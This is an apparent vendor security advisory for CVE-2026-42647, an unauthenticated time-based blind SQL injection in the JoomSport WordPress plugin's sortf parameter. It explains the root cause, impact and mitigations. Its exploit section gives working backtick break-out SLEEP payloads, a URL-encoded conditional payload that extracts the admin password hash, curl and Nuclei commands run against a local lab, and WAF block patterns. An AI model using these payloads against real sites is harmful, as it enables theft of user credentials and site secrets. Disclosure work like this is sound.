CVE-2026-42647 | JoomSport WordPress Plugin Unauthenticated Time-Based Blind SQL Injection via sortf Parameter - Full Database Extraction - Safe Security

CVE-2026-42647 | JoomSport WordPress Plugin Unauthenticated Time-Based Blind SQL Injection via sortf Parameter – Full Database Extraction

Sep 19, 2026 11 minute read

CVSS Score: 9.3 CRITICAL | Affected: JoomSport <= 5.7.7 | Fixed: JoomSport 5.7.8+| CWE: CWE-89 – SQL Injection (ORDER BY)| CISA KEV: Not Listed

1. Introduction

This document illustrates an unauthenticated time-based blind SQL injection vulnerability in JoomSport – for Sports: Team & League, Football, Hockey & more, a WordPress plugin installed on over 10,000+ active WordPress sites for managing sports leagues, team rosters, and player statistics. The vulnerability, tracked as CVE-2026-42647, allows any unauthenticated remote attacker to extract the complete WordPress database – including administrator password hashes, user emails, plugin API keys, and all site configuration – without any credentials, login, or user interaction.

The injection is present in the public player-list endpoint’s sortf GET parameter, which is used to control column ordering. The affected versions pass attacker-controlled input directly into a dynamic ORDER BY SQL clause after only sanitizing with sanitize_text_field() and wrapping in backticks – neither of which prevents identifier break-out. By injecting a crafted payload that closes the backtick context and appends a SLEEP() or conditional IF(… SLEEP()) expression, an attacker can confirm blind SQL injection through measurable response delays and exfiltrate arbitrary data one bit at a time through a timing oracle.

The vulnerability requires no authenticated session, no administrator interaction, and no special network position. Any WordPress installation running JoomSport 5.7.7 or below with the player-list feature publicly accessible is exploitable from the internet.

2. JoomSport Description

JoomSport is a feature-rich WordPress plugin developed by Beardev that provides sports league and team management capabilities for WordPress-based websites. It enables site administrators to manage players, teams, seasons, match results, and statistical tables – exposing public-facing endpoints that render player and match data to unauthenticated visitors. The plugin is available on the official WordPress Plugin Repository and has accumulated over 10,000 active installations across sports organisations, fan sites, and community leagues worldwide.

Because the player-list view is designed to be publicly accessible and frequently embedded in sports club websites without any login requirement, the vulnerable endpoint is consistently reachable from the internet – making this vulnerability exploitable at scale with no prerequisite access. The underlying data exposed through the injection is the entire WordPress MariaDB / MySQL application database, which includes all user accounts, hashed passwords, email addresses, plugin configuration, and stored secrets for the entire WordPress installation.

3. Vulnerability Severity

CVE ID CVE-2026-42647
Severity CRITICAL – CVSS 9.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
CWE CWE-89 – SQL Injection (ORDER BY injection)
Type Unauthenticated Time-Based Blind SQL Injection
Auth Required None
EPSS 0.01323 (68.3rd percentile)
CISA KEV Not listed

4. Scope of Impact

This vulnerability affects all versions of the JoomSport plugin from n/a through 5.7.7. The fix was introduced in version 5.7.8, which implements an allow-list for the sortf parameter, restricting it to a predefined set of safe column names.

Plugin Affected Range Fixed Version
JoomSport (WordPress) n/a through 5.7.7 5.7.8+

The scope extends to all data accessible through the WordPress database, including: the wp_users table (all user accounts and hashed passwords), wp_options (plugin secrets, API keys, email credentials), and any custom tables created by co-installed plugins. WordPress DB user privileges determine whether write or delete operations are possible beyond the read path demonstrated here.

5. Where is the vulnerability present?

The vulnerability is present in the JoomSport player-list view, specifically in the file sportleague/classes/objects/class-jsport-playerlist.php at line 80 in version 5.7.6. This file builds the SQL ordering directive from the sortf GET parameter supplied by the requesting browser. The affected code reads:

// class-jsport-playerlist.php:80 (5.7.6)
$typeAD = in_array($_GET['sortd'], ['ASC','DESC']) ? $_GET['sortd'] : 'ASC';
$options['ordering'] = str_replace(' ','',sanitize_text_field('`'.classJsportRequest::get('sortf').'`')).' '.$typeAD;

This ordering value is then appended directly to the database query in class-jsport-getplayers.php as:

$query .= ' ORDER BY ' . ($ordering);
// or: $query .= ' ORDER BY l.' . $ordering;

The sanitization applied – sanitize_text_field() and wrapping the value in backtick characters – is designed to treat the input as a column identifier. However, neither operation prevents an attacker from breaking out of the backtick context. By supplying a payload such as post_title`DESC,(SLEEP(3))#, the attacker closes the opening backtick, appends a comma-separated expression containing a SLEEP() call, and uses a # comment to discard the trailing backtick and ASC the code appends. The resulting SQL fragment reaching the database is:

ORDER BY `post_title`DESC,(SLEEP(3))# ` ASC
-- ^^^ closes ^^^injects ^^^commented out

Because sanitize_text_field() does not strip backticks, parentheses, commas, SQL function names, or comment sequences, the injection passes through completely intact. The space-stripping via str_replace(” “,””,…) is bypassed by using /**/ comment-style spacing in more complex payloads (as used in the conditional extraction stage). The vulnerability is exploitable on the default lab configuration using either the legacy ?post_type=joomsport_season&p=4&action=playerlist URL or the pretty-permalink path discovered via WordPress sitemap.

6. Risk

An unauthenticated attacker who reaches the public player-list endpoint can immediately confirm SQL execution through a measurable response timing differential. A benign request resolves in under 500ms; a request containing SLEEP(3) causes a three-second server-side delay that is observable from the network layer. This timing channel requires no authentication, no cookies, no CSRF token, and no knowledge of the target site beyond the URL and the JoomSport season ID or permalink – the latter being publicly listed in the WordPress sitemap.

Beyond detection, an attacker can immediately progress to full database exfiltration through a conditional timing oracle. By embedding IF(condition, SLEEP(3), 0) expressions, the attacker can evaluate arbitrary SQL boolean conditions bit by bit against any table in the database. The most immediately valuable target is wp_users.user_pass, which stores WordPress administrator password hashes in phpass ($P$) format. A complete hash for a single admin account can typically be extracted in a few hundred requests using binary-search ASCII oracle, then submitted to offline hash-cracking – with weak or common passwords yielding plaintext credentials within minutes.

The confidentiality impact is classified HIGH with a changed scope (S:C) because the SQL injection reaches the underlying application database, which may hold credentials and secrets for systems beyond the WordPress installation itself – including SMTP credentials in wp_options, API keys for payment processors, mailing list providers, and analytics platforms. The integrity impact is rated None for the base case (read-only timing oracle), but escalates to HIGH if the WordPress database user has write permissions, enabling options poisoning, user creation, or plugin manipulation. Availability impact is Low – excessive SLEEP injection can briefly degrade site responsiveness but does not cause sustained denial of service.

Any WordPress site running JoomSport 5.7.7 or below with a publicly accessible season page should be treated as having full database contents exposed to any attacker who chose to exploit the endpoint before the patch was applied. There is no indicator of compromise specific to this attack – a timing-oracle extraction leaves no entries in standard WordPress activity logs, as each request appears to be a normal player-list page load returning HTTP 200 with valid page content.

7. Mitigation

  • Update JoomSport to version 5.7.8 or later – the patched release introduces an explicit allow-list for the sortf parameter, restricting accepted values to played, career_minutes, post_title, and matched patterns eventid_N / ef_N. All other values fall back to the safe default post_title.
  • Temporary WAF rule (if immediate update is not possible): block sortf parameter values containing backtick `, parentheses (), SLEEP, SELECT, IF(, or comment sequences / #.
  • Rotate all secrets stored in wp_options – treat API keys, SMTP credentials, and any tokens stored in the WordPress database as potentially compromised if the site was running an affected version with the player-list publicly accessible.
  • Audit wp_users for unexpected administrator accounts or recent password changes. Reset all administrator passwords immediately as a precaution.
  • Review WordPress debug and server access logs for unusual sortf parameter values – though note that a successful timing-oracle extraction produces only normal HTTP 200 responses and may not be detectable from logs alone.
  • Consider restricting the player-list endpoint to authenticated users only if public access is not required for the sports league’s use case.

8. Exploit Implementation

1. Attack Scenario

The exploit is demonstrated against a self-hosted WordPress instance running JoomSport 5.7.6 in a Docker container on a Linux host. The vulnerable environment runs wordpress:6.6.2-php8.2-apache with JoomSport installed from SVN tag 5.7.6 and a seeded season, team, and player dataset. A patched twin instance running JoomSport 5.7.8 on port 8082 serves as the control and produces no injection delay.

Prerequisites:

  • Docker (containers already running – vuln at http://127.0.0.1:8081, patched at http://127.0.0.1:8082)
  • Python 3 with the requests library (auto-installed by exploit.py)
  • Nuclei for automated vulnerability confirmation
  • curl with time command for manual timing measurement
  • A terminal (tested on Kali Linux / Ubuntu 22.04)

2. Exploitation

  1. Confirm target and baseline response time.

Verify the vulnerable WordPress + JoomSport instance is running and measure the benign baseline response time for the player-list endpoint.

# Baseline - benign sortf (should complete in < 0.5s)
time curl -s -o /dev/null "http://127.0.0.1:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC"
# Expected: real 0m0.250s

  1. Run the Nuclei template to confirm the vulnerability.

Run the ProjectDiscovery Nuclei template for CVE-2026-42647 against the vulnerable instance. The template discovers the season path via WordPress sitemap, confirms the player-list endpoint, then probes with SLEEP(6) under a 20-second timeout.

nuclei -u http://127.0.0.1:8081 -t cves/2026/CVE-2026-42647.yaml -v
# Expected output:
# [CVE-2026-42647] [http] [critical] http://127.0.0.1:8081/joomsport_season/cve-2026-42647-lab-season/

  1. Manual unconditional SLEEP injection (timing proof).

Send a crafted GET request with the backtick break-out payload in the sortf parameter. The payload closes the identifier context and forces an unconditional SLEEP(3). The vulnerable instance takes ~3+ seconds; the patched instance responds in under 0.5 seconds.

# URL-encoded payload: post_title`DESC,(SLEEP(3))#
# Vulnerable instance - expect ~3s+ delay
time curl -s -o /dev/null "http://127.0.0.1:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%283%29%29%23&sortd=ASC"
# Expected: real 0m3.340s (delta +3s confirms SQL execution)

  1. Conditional extraction – prove secret disclosure (admin hash prefix).

Send a conditional SLEEP payload that fires only when the admin password hash in wp_users begins with ‘$P$’ (the phpass hash format used by WordPress). A sleep on the vulnerable instance confirms the injection can read database secrets.

# Condition: IF admin user_pass LIKE '$P$%' THEN SLEEP(3) ELSE 0
# Uses /**/ comment-style spacing to bypass str_replace(' ','',...)
time curl -s -o /dev/null "http://127.0.0.1:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28IF%28%28SELECT%2F%2A%2A%2Fuser_pass%2F%2A%2A%2FFROM%2F%2A%2A%2Fwp_users%2F%2A%2A%2FWHERE%2F%2A%2A%2FID%3D1%2F%2A%2A%2FLIMIT%2F%2A%2A%2F0%2C1%29LIKE%2F%2A%2A%2F%27%24P%24%25%27%2CSLEEP%283%29%2C0%29%29%23&sortd=ASC"
# Expected: real 0m3.310s - condition TRUE, SLEEP fires
# Proves: wp_users.user_pass for admin ID=1 begins with '$P$'

  1. Run the full automated exploit script (extraction + verification).

Run exploit.py against the vulnerable instance to perform all three stages automatically: baseline measurement, unconditional SLEEP timing confirmation, and conditional hash-prefix extraction proving unauthenticated secret disclosure.

python3 exploit.py -u http://127.0.0.1:8081

  1. Verify extracted data against the database (ground truth).

Confirm the timing oracle result against the actual database contents by querying MariaDB directly inside the Docker container.

docker exec cve-2026-42647-db-vuln mariadb -uwordpress -pwordpress wordpress \
-e "SELECT ID, user_login, user_pass FROM wp_users LIMIT 1;"

Exploitation summary: zero credentials, zero authentication, zero user interaction required. Two GET requests suffice – one baseline, one SLEEP injection – to confirm SQL execution. A conditional IF(SELECT … LIKE ‘$P$%’, SLEEP, 0) proves unauthenticated data extraction from wp_users. No trace is left in WordPress activity logs, since every request returns HTTP 200 with valid page content. A full database dump is possible via binary-search ASCII oracle, at roughly 300-400 requests per password hash.

This document is produced by Safe Security for authorised security research and awareness purposes only. Do not test against systems you do not own or have explicit written permission to assess.

safe.security | CVE-2026-42647 | GHSA / Patchstack / Wordfence Advisory

 

See how SAFE transforms your CTEM Unified exposure visibility, AI-driven prioritization, and quantified risk in business terms. Built for enterprise scale.